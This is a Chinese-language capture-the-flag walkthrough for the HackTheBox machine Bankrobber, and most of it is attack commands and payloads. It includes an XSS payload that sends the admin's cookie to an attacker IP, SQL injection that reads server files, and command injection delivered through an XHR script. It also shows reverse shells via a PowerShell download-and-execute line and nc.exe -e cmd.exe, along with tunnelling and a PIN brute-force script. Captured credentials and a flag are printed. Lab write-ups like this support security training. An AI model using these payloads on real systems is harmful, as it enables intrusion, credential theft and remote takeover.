hackthebox Bankrobber通关攻略

这个靶机比较难，要求掌握的技能有：XSS、通过SQL注入读取文件、命令注入、缓冲区溢出

以本地xhr方式执行POST请求等。下面详细说明怎样拿flag。

nmap扫描开了80、443、445、3306端口，gobuster枚举发现了/admin、/phpmyadmin等目录

枚举smb，没发现共享目录

crackmapexec smb 10.129.228.109

——存在XSS攻击

用户注册进去，将看到E-coin转账页面

从上述信息提示看出：admin有在批准前查看交易的权限，可能存在XSS攻击。

写入comment=<img src=http://10.10.14.24/x.jpg />，然后监听端口可看到连接信息，印证了存在XSS攻击。

——用XSS截获admin的cookie

然后利用该payload获取cookie

<img src=x onerror=this.src="http://10.10.14.24/?cookie="+btoa(document.cookie) />

注：上述payload要进行URL编码

注：不是马上有连接信息，需要等待2-3分钟。

将获得的cookie解码

echo dXNlcm5hbWU9WVdSdGFXNCUzRDsgcGFzc3dvcmQ9U0c5d1pXeGxjM055YjIxaGJuUnBZdyUzRCUzRDsgaWQ9MQ== |base64 -d

admin Hopelessromantic

以该账号信息登录

管理员的页面如下

——在Search users发现SQL注入

1、先判断是字符型还是数字型

1' 出错

1'# 正确

（注：另一种注释的方法-- -。1’-- -）

说明为字符型

2、用order by试出来查询了几个字段

1' order by 3# 正确

1' order by 4# 出错

说明查询了3个字段

3、union联合查询

-1' union select 1,2,3#

显示了第1，2个字段的信息

通过枚举数据库、表、列，从users表获取如下信息

1:admin:Hopelessromantic

2:gio:gio

3:test:123456

这些信息对我们没什么帮助，因为已经获得了admin的密码。

或者，用sqlmap进行批量操作

将存在有SQL注入的网页保存为search.req，右键选择Copy to file。

sqlmap -r search.req --dbms mysql --technique=U--dump --batch

注：--technique有6种取值

B: Boolean-based blind

E: Error-based

U: Union query-based

S: Stacked queries

T: Time-based blind

Q: Inline queries

缺省用的technique为BEUSTQ

也可用sqlmap枚举数据库的用户

sqlmap -r search.req --dbms mysql--technique=U--users

枚举数据库用户的密码

sqlmap -r search.req --dbms mysql--technique=U--passwords

获取数据目录

term=-1'+union+select+1,@@datadir,3#

backdoorchecker处大概率有命令执行漏洞。我们知道XAMPP缺省的web目录为c:\xampp\htdocs，尝试读取admin下的backdoorchecker.php源码。

term=-1'+union+select+1,LOAD_FILE('c:/xampp/htdocs/admin/backdoorchecker.php'),3#

backdoorchecker.php源码如下：Linux只能执行ls，windows下只能执行dir；输入的命令里不能带$(或&（可以用|或||）；且只能在本地执行命令，即该php只能在本地运行。

从源码可知，调用了../link.php和auth.php。同样的道理，获取link.php源码

获得了连接MySQL的账号信息

root Welkom1!

——命令执行

编译一个xhr文档script.js

var xhr = new XMLHttpRequest();

var url ="http://localhost/admin/backdoorchecker.php";

var params = "cmd=dir | ping -n 1 10.10.14.24";

xhr.open("POST", url);

xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');

xhr.withCredentials = true;

xhr.send(params);

然后，利用之前有XSS的页面，请求script.js脚本

<script src=http://10.10.14.24/script.js></script>

开启web服务器，监听tun0接口的icmp数据包，等待2-3分钟，看到了ICMP数据包

成功绕过了backdoorchecker.php中的3个限制条件。

——方法一：通过命令执行获得反向连接（执行反向连接的powershell脚本）

将shell.js中的命令改为

var params = "cmd=dir |powershell -exec bypass -f \\\\10.10.14.24\\share\\rev.ps1";

或者

var params = "cmd=dir |powershell iex(new-object net.webclient).downloadstring(‘http://10.10.14.24/rev.ps1’)";

将Invoke-PowerShellTcp.ps1拷贝为rev.ps1

cp /opt/powershell/Invoke-PowerShellTcp.ps1 ./rev.ps1

将rev.ps1的最后一行修改为

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.24 -Port 9001

开启smbserver

impacket-smbserver share $(pwd) -smb2support

发送含有XSS攻击的web请求

开启web服务器，nc监听端口9001，获得反向连接

python3 -m http.server 80

nc -lvnp 9001

从smbserver处获得Cortin的hash

Cortin::BANKROBBER:aaaaaaaaaaaaaaaa:bbc76653869b3e404339d5e604c04e17:01010000000000008036……

1、提交用户标志

18bd1a7be1fbea357e741bf14af0b530

——方法二：通过命令执行获得反向连接（执行nc.exe）

将script.js中的命令改为

var params = "cmd=dir | \\\\10.10.14.32\\share\\nc.exe 10.10.14.32 3333 -e cmd.exe";

同理，开启smbserver、web服务器、监听端口、执行web请求

impacket-smbserver share $(pwd) -smb2support

python3 -m http.server 80

nc -lvnp 3333

——提权到root

查看开放的网络接口，发现910比较可疑。

netstat -anop TCP

或者

netstat -ano | findstr LISTEN

端口910附属的进程号为1644，查看1644对应的运行程序为bankv2.exe

tasklist /v

在windows下将网络共享映射为盘符Z:

net use Z: \\10.10.14.32\share

利用chisel开隧道，将910端口引到本地。

在Kali Linux上开启chisel服务器

./chisel_1.9.0_linux_amd64 server --port 5555 --reverse

在目标机上用chisel进行连接，创建一个tunnel

.\chisel.exe client 10.10.14.32:5555R:910:127.0.0.1:910

过一段时间，tunnel就建立好了。此时，运行下面的命令进行查看，发现多了910端口

ss -tulpn

注：如果将命令写成

.\chisel.exe client 10.10.14.32:5555R:9100:127.0.0.1:910

我们之后就需要连接9100端口了（nc localhost 9100）

本地连接910端口

nc localhost 910

要求输入4位PIN以进行鉴权

写python脚本brute.py，暴力破解得到正确的4位PIN码。

Kali Linux需要安装pwntools。

pip3 install pwntools

from pwn import *

for i in range(0,9999):

       pin= str(i)

       code= pin.zfill(4)

       r= remote("localhost", 910)

       r.recvuntil("[$]")

       r.sendline(code)

       response= r.recvline()

       r.close()

       ifb"Access denied" not in response:

              print(code)

              break